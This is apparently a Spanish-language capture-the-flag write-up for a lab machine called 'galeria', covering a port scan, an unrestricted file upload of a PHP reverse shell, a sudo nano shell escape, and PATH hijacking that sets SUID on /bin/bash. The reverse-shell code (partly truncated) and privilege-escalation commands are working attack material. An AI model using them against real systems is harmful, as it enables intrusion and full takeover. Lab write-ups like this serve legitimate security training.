> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-faciles/galeria-write-up.md).
# galeria write-up
## **Verificamos conexión con la máquina víctima**
## **Escaneo de puertos abiertos y explotación de vulnerabilidades**
Utilizamos **Nmap** para escanear los puertos abiertos con el siguiente comando:
```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -Pn -n -O 172.17.0.2
```
El escaneo nos indica que el puerto 80 (HTTP) está abierto. Así que ingresamos la IP de la máquina víctima en el navegador.
Si nos vamos al código fuente encontramos lo siguiente:
Por lo que si ingresamos la ruta en el navegador observamos lo siguiente:
Si hacemos clic en `handler.php` nos enviará a un formulario donde podremos subir un archivo. Así que vamos a subir un archivo malicioso en PHP que al ser ejecutado nos envié una shell interactiva. El contenido del archivo será el siguiente:
```php
array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
// Mostrar mensaje de bienvenida a la shell
fwrite($sock, $welcome_message);
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
```
Observamos que nos deja subir el archivo sin problemas, así que ahora nos vamos a la ruta `http://172.17.0.2/gallery/uploads/images/`, donde verificamos que se subió correctamente, por lo que nos pondremos en escucha por el puerto 444 y ejecutaremos el archivo.
## **Escalada de privilegios**
Una vez dentro de la máquina víctima, ejecutamos el comando `sudo -l`, el cual nos indica que podemos ejecutar el binario `/bin/nano` como el usuario `gallery` sin necesidad de ingresar ninguna contraseña.
Así que ejecutamos el binario de la siguiente manera:
```bash
sudo -u gallery /bin/nano
```
Una vez se haya abierto el programa `nano`, presionamos las teclas `Ctrl + r` y `Ctrl + x`, lo que nos permitirá ejecutar comandos, así que ingresaremos lo siguiente:
```bash
reset ; bash 1>&0 2>&0
```
Después ejecutaremos `reset` de nuevo.
Ahora que somos el usuario `gallery`, ejecutamos el comando `sudo -l`, el cual nos indica que podemos ejecutar el binario `/usr/local/bin/runme` como cualquier usuario.
Como es un programa compilado usaremos el comando strings para hacernos una idea de que hace el programa.
```bash
strings /usr/local/bin/runme
```
Por lo que observamos, parece que se está tratando de ejecutar el comando `convert`, sin embargo, al ejecutar el programa nos aparece el siguiente error:
Esto nos indica que el comando `convert` no está definido, por lo que podemos aprovechar esto para explotar un **path traversal**, para ello cambiaremos la variable de entorno `PATH` para que cuando ejecutemos un comando se busque el comando en el directorio `/home/gallery`.
```bash
export PATH=/home/gallery/:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
```
Ahora crearemos un script con nombre `convert` que al ser ejecutado le de permisos SUID al binario /bin/bash.
```bash
#!/bin/bash
chmod u+s /bin/bash
```
Ahora le damos permisos de ejecución y ejecutamos de nuevo el binario `runme` como usuario root.